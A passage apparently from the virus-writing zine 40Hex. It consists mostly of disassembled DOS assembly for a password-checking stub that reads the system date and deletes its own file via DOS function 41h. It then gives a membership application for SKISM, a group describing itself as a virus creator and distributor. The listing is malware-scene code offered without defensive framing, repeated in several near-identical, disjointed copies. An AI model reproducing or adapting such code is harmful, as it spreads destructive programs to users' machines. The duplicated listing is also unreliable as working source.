|
||
mov ah,4Eh
|
||
mov cx,8
|
||
mov dx,0FFh
|
||
int 21h
|
||
mov si,0A1h
|
||
mov di,4Bh
|
||
cld
|
||
loc_45:
|
||
lodsb
|
||
scasb
|
||
stc
|
||
jnz loc_ret_46
|
||
or al,al
|
||
jnz loc_45
|
||
|
||
loc_ret_46:
|
||
retn
|
||
sub_21 endp
|
||
|
||
|
||
|
||
sub_22 proc near
|
||
push ax
|
||
push bx
|
||
push cx
|
||
mov ah,0Ah
|
||
int 21h
|
||
mov bx,dx
|
||
inc bx
|
||
mov cl,[bx]
|
||
xor ch,ch
|
||
jcxz loc_48
|
||
|
||
locloop_47:
|
||
inc bx
|
||
not byte ptr [bx]
|
||
loop locloop_47
|
||
|
||
loc_48:
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_22 endp
|
||
|
||
|
||
|
||
sub_23 proc near
|
||
push cx
|
||
push si
|
||
push di
|
||
mov cl,ds:data_11e
|
||
xor ch,ch
|
||
mov si,59h
|
||
mov di,1Dh
|
||
cld
|
||
repe cmpsb
|
||
jz loc_49
|
||
stc
|
||
loc_49:
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
retn
|
||
sub_23 endp
|
||
|
||
|
||
|
||
sub_24 proc near
|
||
push bx
|
||
push dx
|
||
mov bx,dx
|
||
loc_50:
|
||
mov dl,[bx]
|
||
or dl,dl
|
||
jz loc_51
|
||
call sub_25
|
||
inc bx
|
||
jmp short loc_50
|
||
loc_51:
|
||
pop dx
|
||
pop bx
|
||
retn
|
||
sub_24 endp
|
||
|
||
|
||
|
||
sub_25 proc near
|
||
push ax
|
||
mov ah,2
|
||
int 21h
|
||
pop ax
|
||
retn
|
||
sub_25 endp
|
||
|
||
|
||
|
||
sub_26 proc near
|
||
push dx
|
||
mov dl,0Dh
|
||
call sub_25
|
||
mov dl,0Ah
|
||
call sub_25
|
||
pop dx
|
||
retn
|
||
sub_26 endp
|
||
|
||
db 0, 0, 0, 0, 0ACh, 29h
|
||
db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h
|
||
db 0B0h, 29h, 0E9h, 70h, 2, 0E9h
|
||
db 49h, 2
|
||
db 14 dup (0)
|
||
db 0E9h, 60h, 5, 0Dh, 0, 0
|
||
db 0
|
||
db 44h, 29h
|
||
db 42 dup (0)
|
||
db 0EAh, 7, 0Ch, 1Fh, 0
|
||
db 12 dup (0)
|
||
db 3, 2, 0CCh, 0CEh, 0Dh, 0C9h
|
||
db 0Dh
|
||
db 79 dup (0)
|
||
db 0Dh, 0Ah, 'Please enter the passw'
|
||
db 'ord now: '
|
||
db 0
|
||
db 0Dh, 0Ah, 'This program requires '
|
||
db 'DOS 3.00 or greater'
|
||
db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
|
||
db 2Eh, 2Ah, 0
|
||
db 0Dh, 0Ah, '%%211#---4677^^^%'
|
||
db 7, 0Dh, 0Ah, 0, 42h, 23h
|
||
db 0
|
||
db 305 dup (0)
|
||
db 50h, 53h, 0A1h, 1, 1, 5
|
||
db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
|
||
db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
|
||
db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
|
||
db 6Bh, 2, 50h, 0CBh, 5Bh, 58h
|
||
db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
|
||
db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh
|
||
db 0A3h, 1Dh, 1, 2Eh, 89h, 26h
|
||
db 1Fh, 1, 2Eh, 8Ch, 16h, 21h
|
||
db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
|
||
db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1
|
||
db 50h, 53h, 51h, 52h, 56h, 57h
|
||
db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
|
||
db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
|
||
db 3Ch, 50h, 75h, 6, 0E8h, 6Ah
|
||
db 0, 0EBh, 15h, 90h, 3Ch, 44h
|
||
db 75h, 6, 0E8h, 78h, 0, 0EBh
|
||
db 0Bh, 90h
|
||
loc_52:
|
||
cmp al,4Ch
|
||
jne loc_53
|
||
call sub_28
|
||
jmp short loc_54
|
||
loc_53:
|
||
stc
|
||
loc_54:
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
cmp byte ptr cs:data_7e,0
|
||
je loc_55
|
||
mov ax,cs:data_4e
|
||
mov ds:data_1e,ax
|
||
mov ax,cs:data_5e
|
||
mov ds:data_2e,ax
|
||
mov ax,100h
|
||
mov cs:data_4e,ax
|
||
mov cs:data_5e,ds
|
||
jmp short loc_56
|
||
loc_55:
|
||
mov ax,cs
|
||
sub ax,cs:data_6e
|
||
add cs:data_5e,ax
|
||
loc_56:
|
||
pop ax
|
||
mov ss,word ptr cs:[121h]
|
||
mov sp,word ptr cs:[11Fh]
|
||
jmp dword ptr cs:data_4e
|
||
db 0BAh, 4, 1, 0E8h, 0BCh, 0
|
||
db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
|
||
db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h
|
||
db 6, 58h, 0, 29h, 0BAh, 58h
|
||
db 0, 0E8h, 74h, 0, 0E8h, 0BDh
|
||
db 0, 0E8h, 87h, 0, 0C3h
|
||
|
||
|
||
sub_27 proc near
|
||
mov ah,2Ah
|
||
int 21h
|
||
cmp cx,ds:data_8e
|
||
jb loc_58
|
||
cmp dh,ds:data_9e
|
||
jb loc_58
|
||
cmp dl,ds:data_10e
|
||
jb loc_58
|
||
jmp short loc_58
|
||
db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch
|
||
db 3, 73h, 4, 0F8h, 0EBh, 25h
|
||
db 90h, 1Eh, 6, 32h, 0C0h, 0B9h
|
||
db 0, 80h, 2Eh, 8Eh, 6, 1Bh
|
||
db 1, 26h, 8Eh, 6, 2Ch, 0
|
||
db 33h, 0FFh
|
||
loc_57:
|
||
repne scasb
|
||
scasb
|
||
jnz loc_57
|
||
add di,2
|
||
push es
|
||
pop ds
|
||
mov dx,di
|
||
mov ah,41h
|
||
clc
|
||
pop es
|
||
pop ds
|
||
loc_58:
|
||
cmc
|
||
retn
|
||
sub_27 endp
|
||
|
||
|
||
|
||
sub_28 proc near
|
||
mov ah,1Ah
|
||
mov dx,83h
|
||
int 21h
|
||
mov ah,4Eh
|
||
mov cx,8
|
||
mov dx,0FFh
|
||
int 21h
|
||
mov si,0A1h
|
||
mov di,4Bh
|
||
cld
|
||
loc_59:
|
||
lodsb
|
||
scasb
|
||
stc
|
||
jnz loc_ret_60
|
||
or al,al
|
||
jnz loc_59
|
||
|
||
loc_ret_60:
|
||
retn
|
||
sub_28 endp
|
||
|
||
|
||
|
||
sub_29 proc near
|
||
push ax
|
||
push bx
|
||
push cx
|
||
mov ah,0Ah
|
||
int 21h
|
||
mov bx,dx
|
||
inc bx
|
||
mov cl,[bx]
|
||
xor ch,ch
|
||
jcxz loc_62
|
||
|
||
locloop_61:
|
||
inc bx
|
||
not byte ptr [bx]
|
||
loop locloop_61
|
||
|
||
loc_62:
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_29 endp
|
||
|
||
|
||
|
||
sub_30 proc near
|
||
push cx
|
||
push si
|
||
push di
|
||
mov cl,ds:data_11e
|
||
xor ch,ch
|
||
mov si,59h
|
||
mov di,1Dh
|
||
cld
|
||
repe cmpsb
|
||
jz loc_63
|
||
stc
|
||
loc_63:
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
retn
|
||
sub_30 endp
|
||
|
||
|
||
|
||
sub_31 proc near
|
||
push bx
|
||
push dx
|
||
mov bx,dx
|
||
loc_64:
|
||
mov dl,[bx]
|
||
or dl,dl
|
||
jz loc_65
|
||
call sub_32
|
||
inc bx
|
||
jmp short loc_64
|
||
loc_65:
|
||
pop dx
|
||
pop bx
|
||
retn
|
||
sub_31 endp
|
||
|
||
|
||
|
||
sub_32 proc near
|
||
push ax
|
||
mov ah,2
|
||
int 21h
|
||
pop ax
|
||
retn
|
||
sub_32 endp
|
||
|
||
|
||
sub_33 proc near
|
||
push dx
|
||
mov dl,0Dh
|
||
call sub_32
|
||
mov dl,0Ah
|
||
call sub_32
|
||
pop dx
|
||
retn
|
||
sub_33 endp
|
||
|
||
db 0, 0, 0, 0, 0ACh, 29h
|
||
db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h
|
||
db 0B0h, 29h, 0E9h, 70h, 2, 0E9h
|
||
db 49h, 2
|
||
db 14 dup (0)
|
||
db 0E9h, 60h, 9, 0Dh, 0, 0
|
||
db 0
|
||
db 44h, 29h
|
||
db 42 dup (0)
|
||
db 0C2h, 7, 9, 0Bh, 0
|
||
db 12 dup (0)
|
||
db 3, 2, 0CEh, 0CEh, 0Dh, 0C9h
|
||
db 0Dh
|
||
db 79 dup (0)
|
||
db 0Dh, 0Ah, 'Please enter the passw'
|
||
db 'ord now: '
|
||
db 0
|
||
db 0Dh, 0Ah, 'This program requires '
|
||
db 'DOS 3.00 or greater'
|
||
db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
|
||
db 2Eh, 2Ah, 0
|
||
db 0Dh, 0Ah, '%%211#---4677^^^%'
|
||
db 7, 0Dh, 0Ah, 0, 42h, 23h
|
||
db 0
|
||
db 305 dup (0)
|
||
db 50h, 53h, 0A1h, 1, 1, 5
|
||
db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
|
||
db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
|
||
db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
|
||
db 6Bh, 2, 50h, 0CBh, 5Bh, 58h
|
||
db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
|
||
db 2Eh, 8Ch, 6, 1Bh, 1, 2Eh
|
||
db 0A3h, 1Dh, 1, 2Eh, 89h, 26h
|
||
db 1Fh, 1, 2Eh, 8Ch, 16h, 21h
|
||
db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
|
||
db 4Fh, 2, 2Eh, 0A1h, 1Dh, 1
|
||
db 50h, 53h, 51h, 52h, 56h, 57h
|
||
db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
|
||
db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
|
||
db 3Ch, 50h, 75h, 6, 0E8h, 6Ah
|
||
db 0, 0EBh, 15h, 90h, 3Ch, 44h
|
||
db 75h, 6, 0E8h, 78h, 0, 0EBh
|
||
db 0Bh, 90h
|
||
loc_66:
|
||
cmp al,4Ch
|
||
jne loc_67
|
||
call sub_35
|
||
jmp short loc_68
|
||
loc_67:
|
||
stc
|
||
loc_68:
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
cmp byte ptr cs:data_7e,0
|
||
je loc_69
|
||
mov ax,cs:data_4e
|
||
mov ds:data_1e,ax
|
||
mov ax,cs:data_5e
|
||
mov ds:data_2e,ax
|
||
mov ax,100h
|
||
mov cs:data_4e,ax
|
||
mov cs:data_5e,ds
|
||
jmp short loc_70
|
||
loc_69:
|
||
mov ax,cs
|
||
sub ax,cs:data_6e
|
||
add cs:data_5e,ax
|
||
loc_70:
|
||
pop ax
|
||
mov ss,word ptr cs:[121h]
|
||
mov sp,word ptr cs:[11Fh]
|
||
jmp dword ptr cs:data_4e
|
||
db 0BAh, 4, 1, 0E8h, 0BCh, 0
|
||
db 0B8h, 0FFh, 4Ch, 0CDh, 21h, 0BAh
|
||
db 0AEh, 0, 0E8h, 0B1h, 0, 0C6h
|
||
db 6, 58h, 0, 29h, 0BAh, 58h
|
||
db 0, 0E8h, 74h, 0, 0E8h, 0BDh
|
||
db 0, 0E8h, 87h, 0, 0C3h
|
||
|
||
sub_34 proc near
|
||
mov ah,2Ah
|
||
int 21h
|
||
cmp cx,ds:data_8e
|
||
jb loc_72
|
||
cmp dh,ds:data_9e
|
||
jb loc_72
|
||
cmp dl,ds:data_10e
|
||
jb loc_72
|
||
jmp short loc_72
|
||
db 90h, 0B4h, 30h, 0CDh, 21h, 3Ch
|
||
db 3, 73h, 4, 0F8h, 0EBh, 25h
|
||
db 90h, 1Eh, 6, 32h, 0C0h, 0B9h
|
||
db 0, 80h, 2Eh, 8Eh, 6, 1Bh
|
||
db 1, 26h, 8Eh, 6, 2Ch, 0
|
||
db 33h, 0FFh
|
||
loc_71:
|
||
repne scasb
|
||
scasb
|
||
jnz loc_71
|
||
add di,2
|
||
push es
|
||
pop ds
|
||
mov dx,di
|
||
mov ah,41h
|
||
clc
|
||
pop es
|
||
pop ds
|
||
loc_72:
|
||
cmc
|
||
retn
|
||
sub_34 endp
|
||
|
||
sub_35 proc near
|
||
mov ah,1Ah
|
||
mov dx,83h
|
||
int 21h
|
||
mov ah,4Eh
|
||
mov cx,8
|
||
mov dx,0FFh
|
||
int 21h
|
||
mov si,0A1h
|
||
mov di,4Bh
|
||
cld
|
||
loc_73:
|
||
lodsb
|
||
scasb
|
||
stc
|
||
jnz loc_ret_74
|
||
or al,al
|
||
jnz loc_73
|
||
|
||
loc_ret_74:
|
||
retn
|
||
sub_35 endp
|
||
|
||
|
||
sub_36 proc near
|
||
push ax
|
||
push bx
|
||
push cx
|
||
mov ah,0Ah
|
||
int 21h
|
||
mov bx,dx
|
||
inc bx
|
||
mov cl,[bx]
|
||
xor ch,ch
|
||
jcxz loc_76
|
||
|
||
locloop_75:
|
||
inc bx
|
||
not byte ptr [bx]
|
||
loop locloop_75
|
||
|
||
loc_76:
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_36 endp
|
||
|
||
|
||
sub_37 proc near
|
||
push cx
|
||
push si
|
||
push di
|
||
mov cl,ds:data_11e
|
||
xor ch,ch
|
||
mov si,59h
|
||
mov di,1Dh
|
||
cld
|
||
repe cmpsb
|
||
jz loc_77
|
||
stc
|
||
loc_77:
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
retn
|
||
sub_37 endp
|
||
|
||
|
||
sub_38 proc near
|
||
push bx
|
||
push dx
|
||
mov bx,dx
|
||
loc_78:
|
||
mov dl,[bx]
|
||
or dl,dl
|
||
jz loc_79
|
||
call sub_39
|
||
inc bx
|
||
jmp short loc_78
|
||
loc_79:
|
||
pop dx
|
||
pop bx
|
||
retn
|
||
sub_38 endp
|
||
|
||
|
||
sub_39 proc near
|
||
push ax
|
||
mov ah,2
|
||
int 21h
|
||
pop ax
|
||
retn
|
||
sub_39 endp
|
||
|
||
|
||
sub_40 proc near
|
||
push dx
|
||
mov dl,0Dh
|
||
call sub_39
|
||
mov dl,0Ah
|
||
call sub_39
|
||
pop dx
|
||
retn
|
||
sub_40 endp
|
||
|
||
db 0, 0, 0, 0, 0ACh, 29h
|
||
db 0ADh, 29h, 0AEh, 29h, 0AFh, 29h
|
||
db 0B0h, 29h, 0E9h, 6Ch, 2, 0E9h
|
||
db 45h, 2, 0
|
||
db 13 dup (0)
|
||
db 0E9h, 60h, 0Dh, 0Dh, 0, 0
|
||
db 0
|
||
db 44h, 29h
|
||
db 42 dup (0)
|
||
db 0D2h, 7, 1, 1
|
||
db 13 dup (0)
|
||
db 3, 2, 0CFh, 0CEh, 0Dh, 0CDh
|
||
db 0Dh
|
||
db 79 dup (0)
|
||
db 0Dh, 0Ah, 'Please enter the passw'
|
||
db 'ord now: '
|
||
db 0
|
||
db 0Dh, 0Ah, 'This program requires '
|
||
db 'DOS 3.00 or greater'
|
||
db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
|
||
db 2Eh, 2Ah, 0
|
||
db 0Dh, 0Ah, 'Access denied'
|
||
db 7, 0Dh, 0Ah, 0, 42h, 23h
|
||
db 0
|
||
db 305 dup (0)
|
||
db 50h, 53h, 0A1h, 1, 1, 5
|
||
db 3, 1, 0D1h, 0E8h, 0D1h, 0E8h
|
||
db 0D1h, 0E8h, 0D1h, 0E8h, 8Bh, 0D8h
|
||
db 8Ch, 0C8h, 3, 0C3h, 50h, 0B8h
|
||
db 67h, 2, 50h, 0CBh, 5Bh, 58h
|
||
db 2Eh, 0C6h, 6, 1Ah, 0, 0FFh
|
||
db 2Eh, 8Ch, 6, 17h, 1, 2Eh
|
||
db 0A3h, 19h, 1, 2Eh, 89h, 26h
|
||
db 1Bh, 1, 2Eh, 8Ch, 16h, 1Dh
|
||
db 1, 8Ch, 0C8h, 8Eh, 0D0h, 0BCh
|
||
db 4Bh, 2, 2Eh, 0A1h, 19h, 1
|
||
db 50h, 53h, 51h, 52h, 56h, 57h
|
||
db 55h, 1Eh, 6, 8Ch, 0C8h, 8Eh
|
||
db 0D8h, 8Eh, 0C0h, 0A0h, 1Bh, 0
|
||
db 3Ch, 50h, 75h, 6, 0E8h, 6Ch
|
||
db 0, 0EBh, 15h, 90h, 3Ch, 44h
|
||
db 75h, 6, 0E8h, 7Ah, 0, 0EBh
|
||
db 0Bh, 90h
|
||
loc_80:
|
||
cmp al,4Ch
|
||
jne loc_81
|
||
call sub_42
|
||
jmp short loc_82
|
||
loc_81:
|
||
stc
|
||
loc_82:
|
||
jc loc_85
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
cmp byte ptr cs:data_7e,0
|
||
je loc_83
|
||
mov ax,cs:data_4e
|
||
mov ds:data_1e,ax
|
||
mov ax,cs:data_5e
|
||
mov ds:data_2e,ax
|
||
mov ax,100h
|
||
mov cs:data_4e,ax
|
||
mov cs:data_5e,ds
|
||
jmp short loc_84
|
||
loc_83:
|
||
mov ax,cs
|
||
sub ax,cs:data_6e
|
||
add cs:data_5e,ax
|
||
loc_84:
|
||
pop ax
|
||
mov ss,word ptr cs:[11Dh]
|
||
mov sp,word ptr cs:[11Bh]
|
||
jmp dword ptr cs:data_4e
|
||
loc_85:
|
||
mov dx,104h
|
||
call sub_45
|
||
mov ax,4CFFh
|
||
int 21h
|
||
db 0BAh, 0AEh, 0, 0E8h, 0B6h, 0
|
||
db 0C6h, 6, 58h, 0, 29h, 0BAh
|
||
db 58h, 0, 0E8h, 79h, 0, 0E8h
|
||
db 0C2h, 0, 0E8h, 8Ch, 0, 0C3h
|
||
|
||
sub_41 proc near
|
||
mov ah,2Ah
|
||
int 21h
|
||
cmp cx,ds:data_8e
|
||
jb loc_88
|
||
cmp dh,ds:data_9e
|
||
jb loc_88
|
||
cmp dl,ds:data_10e
|
||
jb loc_88
|
||
mov ah,30h
|
||
int 21h
|
||
cmp al,3
|
||
jae loc_86
|
||
mov dx,0D0h
|
||
call sub_45
|
||
clc
|
||
jmp short loc_88
|
||
db 90h
|
||
loc_86:
|
||
push ds
|
||
push es
|
||
xor al,al
|
||
mov cx,8000h
|
||
mov es,word ptr cs:copyright+1
|
||
mov es,es:data_3e
|
||
xor di,di
|
||
loc_87:
|
||
repne scasb
|
||
scasb
|
||
jnz loc_87
|
||
add di,2
|
||
push es
|
||
pop ds
|
||
mov dx,di
|
||
mov ah,41h
|
||
int 21h
|
||
clc
|
||
pop es
|
||
pop ds
|
||
loc_88:
|
||
cmc
|
||
retn
|
||
sub_41 endp
|
||
|
||
sub_42 proc near
|
||
mov ah,1Ah
|
||
mov dx,83h
|
||
int 21h
|
||
mov ah,4Eh
|
||
mov cx,8
|
||
mov dx,0FFh
|
||
int 21h
|
||
mov si,0A1h
|
||
mov di,4Bh
|
||
cld
|
||
loc_89:
|
||
lodsb
|
||
scasb
|
||
stc
|
||
jnz loc_ret_90
|
||
or al,al
|
||
jnz loc_89
|
||
|
||
loc_ret_90:
|
||
retn
|
||
sub_42 endp
|
||
|
||
sub_43 proc near
|
||
push ax
|
||
push bx
|
||
push cx
|
||
mov ah,0Ah
|
||
int 21h
|
||
mov bx,dx
|
||
inc bx
|
||
mov cl,[bx]
|
||
xor ch,ch
|
||
jcxz loc_92
|
||
|
||
locloop_91:
|
||
inc bx
|
||
not byte ptr [bx]
|
||
loop locloop_91
|
||
|
||
loc_92:
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_43 endp
|
||
|
||
sub_44 proc near
|
||
push cx
|
||
push si
|
||
push di
|
||
mov cl,ds:data_11e
|
||
xor ch,ch
|
||
mov si,59h
|
||
mov di,1Dh
|
||
cld
|
||
repe cmpsb
|
||
jz loc_93
|
||
stc
|
||
loc_93:
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
retn
|
||
sub_44 endp
|
||
|
||
|
||
|
||
sub_45 proc near
|
||
push bx
|
||
push dx
|
||
mov bx,dx
|
||
loc_94:
|
||
mov dl,[bx]
|
||
or dl,dl
|
||
jz loc_95
|
||
call sub_46
|
||
inc bx
|
||
jmp short loc_94
|
||
loc_95:
|
||
pop dx
|
||
pop bx
|
||
retn
|
||
sub_45 endp
|
||
|
||
|
||
|
||
sub_46 proc near
|
||
push ax
|
||
mov ah,2
|
||
int 21h
|
||
pop ax
|
||
retn
|
||
sub_46 endp
|
||
|
||
|
||
|
||
sub_47 proc near
|
||
push dx
|
||
mov dl,0Dh
|
||
call sub_46
|
||
mov dl,0Ah
|
||
call sub_46
|
||
pop dx
|
||
retn
|
||
sub_47 endp
|
||
|
||
db 0, 0ACh, 29h, 0ADh, 29h, 0AEh
|
||
db 29h, 0AFh, 29h, 0B0h, 29h, 0E9h
|
||
db 6Ch, 2
|
||
loc_96:
|
||
jmp loc_97
|
||
db 0
|
||
db 13 dup (0)
|
||
db 0E9h, 60h, 11h, 0Dh, 0, 0
|
||
db 0
|
||
db 44h, 29h
|
||
db 42 dup (0)
|
||
db 0D0h, 7, 6, 6
|
||
db 13 dup (0)
|
||
db 3, 2, 0CFh, 0C9h, 0Dh, 0CFh
|
||
db 0Dh
|
||
db 79 dup (0)
|
||
db 0Dh, 0Ah, 'Please enter the passw'
|
||
db 'ord now: '
|
||
db 0
|
||
db 0Dh, 0Ah, 'This program requires '
|
||
db 'DOS 3.00 or greater'
|
||
db 7, 0Dh, 0Ah, 0, 5Ch, 2Ah
|
||
db 2Eh, 2Ah, 0
|
||
db 0Dh, 0Ah, 'Access denied'
|
||
db 7, 0Dh, 0Ah, 0, 42h, 23h
|
||
db 0
|
||
db 305 dup (0)
|
||
loc_97:
|
||
push ax
|
||
push bx
|
||
mov ax,word ptr ds:[101h]
|
||
add ax,103h
|
||
shr ax,1
|
||
shr ax,1
|
||
shr ax,1
|
||
shr ax,1
|
||
mov bx,ax
|
||
mov ax,cs
|
||
add ax,bx
|
||
push ax
|
||
mov ax,267h
|
||
push ax
|
||
retf
|
||
db 5Bh, 58h, 2Eh, 0C6h, 6, 1Ah
|
||
db 0, 0FFh, 2Eh, 8Ch, 6, 17h
|
||
db 1, 2Eh, 0A3h, 19h, 1, 2Eh
|
||
db 89h, 26h, 1Bh, 1, 2Eh, 8Ch
|
||
db 16h, 1Dh, 1, 8Ch, 0C8h, 8Eh
|
||
db 0D0h, 0BCh, 4Bh, 2, 2Eh, 0A1h
|
||
db 19h, 1, 50h, 53h, 51h, 52h
|
||
db 56h, 57h, 55h, 1Eh, 6, 8Ch
|
||
db 0C8h, 8Eh, 0D8h, 8Eh, 0C0h, 0A0h
|
||
db 1Bh, 0, 3Ch, 50h, 75h, 6
|
||
db 0E8h, 6Ch, 0, 0EBh, 15h, 90h
|
||
db 3Ch, 44h, 75h, 6, 0E8h, 7Ah
|
||
db 0, 0EBh, 0Bh, 90h
|
||
loc_98:
|
||
cmp al,4Ch
|
||
jne loc_99
|
||
call sub_49
|
||
jmp short loc_100
|
||
loc_99:
|
||
stc
|
||
loc_100:
|
||
jc loc_103
|
||
pop es
|
||
pop ds
|
||
pop bp
|
||
pop di
|
||
pop si
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
cmp byte ptr cs:data_7e,0
|
||
je loc_101
|
||
mov ax,cs:data_4e
|
||
mov ds:data_1e,ax
|
||
mov ax,cs:data_5e
|
||
mov ds:data_2e,ax
|
||
mov ax,100h
|
||
mov cs:data_4e,ax
|
||
mov cs:data_5e,ds
|
||
jmp short loc_102
|
||
loc_101:
|
||
mov ax,cs
|
||
sub ax,cs:data_6e
|
||
add cs:data_5e,ax
|
||
loc_102:
|
||
pop ax
|
||
mov ss,word ptr cs:[11Dh]
|
||
mov sp,word ptr cs:[11Bh]
|
||
jmp dword ptr cs:data_4e
|
||
loc_103:
|
||
mov dx,104h
|
||
call sub_52
|
||
mov ax,4CFFh
|
||
int 21h
|
||
db 0BAh, 0AEh, 0, 0E8h, 0B6h, 0
|
||
db 0C6h, 6, 58h, 0, 29h, 0BAh
|
||
db 58h, 0, 0E8h, 79h, 0, 0E8h
|
||
db 0C2h, 0, 0E8h, 8Ch, 0, 0C3h
|
||
|
||
sub_48 proc near
|
||
mov ah,2Ah
|
||
int 21h
|
||
cmp cx,ds:data_8e
|
||
jb loc_106
|
||
cmp dh,ds:data_9e
|
||
jb loc_106
|
||
cmp dl,ds:data_10e
|
||
jb loc_106
|
||
mov ah,30h
|
||
int 21h
|
||
cmp al,3
|
||
jae loc_104
|
||
mov dx,0D0h
|
||
call sub_52
|
||
clc
|
||
jmp short loc_106
|
||
db 90h
|
||
loc_104:
|
||
push ds
|
||
push es
|
||
xor al,al
|
||
mov cx,8000h
|
||
mov es,word ptr cs:copyright+1
|
||
mov es,es:data_3e
|
||
xor di,di
|
||
loc_105:
|
||
repne scasb
|
||
scasb
|
||
jnz loc_105
|
||
add di,2
|
||
push es
|
||
pop ds
|
||
mov dx,di
|
||
mov ah,41h
|
||
int 21h
|
||
clc
|
||
pop es
|
||
pop ds
|
||
loc_106:
|
||
cmc
|
||
retn
|
||
sub_48 endp
|
||
|
||
|
||
sub_49 proc near
|
||
mov ah,1Ah
|
||
mov dx,83h
|
||
int 21h
|
||
mov ah,4Eh
|
||
mov cx,8
|
||
mov dx,0FFh
|
||
int 21h
|
||
mov si,0A1h
|
||
mov di,4Bh
|
||
cld
|
||
loc_107:
|
||
lodsb
|
||
scasb
|
||
stc
|
||
jnz loc_ret_108
|
||
or al,al
|
||
jnz loc_107
|
||
|
||
loc_ret_108:
|
||
retn
|
||
sub_49 endp
|
||
|
||
|
||
sub_50 proc near
|
||
push ax
|
||
push bx
|
||
push cx
|
||
mov ah,0Ah
|
||
int 21h
|
||
mov bx,dx
|
||
inc bx
|
||
mov cl,[bx]
|
||
xor ch,ch
|
||
jcxz loc_110
|
||
|
||
locloop_109:
|
||
inc bx
|
||
not byte ptr [bx]
|
||
loop locloop_109
|
||
|
||
loc_110:
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
retn
|
||
sub_50 endp
|
||
|
||
|
||
sub_51 proc near
|
||
push cx
|
||
push si
|
||
push di
|
||
mov cl,ds:data_11e
|
||
xor ch,ch
|
||
mov si,59h
|
||
mov di,1Dh
|
||
cld
|
||
repe cmpsb
|
||
jz loc_111
|
||
stc
|
||
loc_111:
|
||
pop di
|
||
pop si
|
||
pop cx
|
||
retn
|
||
sub_51 endp
|
||
|
||
|
||
|
||
sub_52 proc near
|
||
push bx
|
||
push dx
|
||
mov bx,dx
|
||
loc_112:
|
||
mov dl,[bx]
|
||
or dl,dl
|
||
jz loc_113
|
||
call sub_53
|
||
inc bx
|
||
jmp short loc_112
|
||
loc_113:
|
||
pop dx
|
||
pop bx
|
||
retn
|
||
sub_52 endp
|
||
|
||
|
||
|
||
sub_53 proc near
|
||
push ax
|
||
mov ah,2
|
||
int 21h
|
||
pop ax
|
||
retn
|
||
sub_53 endp
|
||
|
||
|
||
sub_54 proc near
|
||
push dx
|
||
mov dl,0Dh
|
||
call sub_53
|
||
mov dl,0Ah
|
||
call sub_53
|
||
pop dx
|
||
retn
|
||
sub_54 endp
|
||
|
||
db 0F0h, 0FDh, 0C5h, 0AAh, 0FFh, 0F0h
|
||
db 8Dh, 6Dh, 0B2h
|
||
db 73h
|
||
|
||
seg_a ends
|
||
|
||
|
||
|
||
end start
|
||
|
||
-------------------------------------------------------------------------------
|
||
40Hex Issue 3 0005
|
||
|
||
Application For Membership To SKISM
|
||
|
||
|
||
SKISM is quickly becoming one of the largest virus creators/
|
||
distributers in America. Part of getting bigger is branching
|
||
out in new directions and getting more members.
|
||
|
||
If you wish to apply for membership to SKISM or if you want
|
||
your board to become to become a SKISM distribution site
|
||
fill out the application below and upload it to one of the
|
||
SKISM home bases listed in file one of this archive.
|
||
|
||
Keep in mind, from the start of the group SKISM we have been
|
||
virus authors, not trojan, bomb, or any other such distructive
|
||
mechanism. The entire purpose of SKISM is virus reserch, to
|
||
better understand the situation today with computer viruses.
|
||
|
||
Therefore trojan and bomb authors shall apply elsewere, when
|
||
you brush up your work, come back. No disrespect intended.
|
||
|
||
------------------------------------------------------------------------------
|
||
|
||
Application For Membership
|
||
|
||
|
||
I am interested in becoming
|
||
|
||
___ A SKISM Member
|
||
___ A SKISM Distribution Site Sysop
|
||
|
||
|
||
Handle: ________________
|
||
Aliases: ________________
|
||
First Name: ________________ (Used only for verification)
|
||
|
||
|
||
Have you ever written a computer virus(es)? ___
|
||
If yes name it/them: _______________________________________
|
||
_______________________________________
|
||
|
||
Programming Languages you know: ____________________________ Know Well
|
||
____________________________ :
|
||
____________________________ :
|
||
____________________________ Hardly Know
|
||
|
||
Are you a sysop of a BBS? ___
|
||
If yes leave the vitals:
|
||
BBS Name: _________________________
|
||
Dialup: _________________________
|
||
State: _________________________
|
||
Running: example: Telegard._______
|
||
|
||
Are you in any way connected to and law enforcment agency? ___
|
||
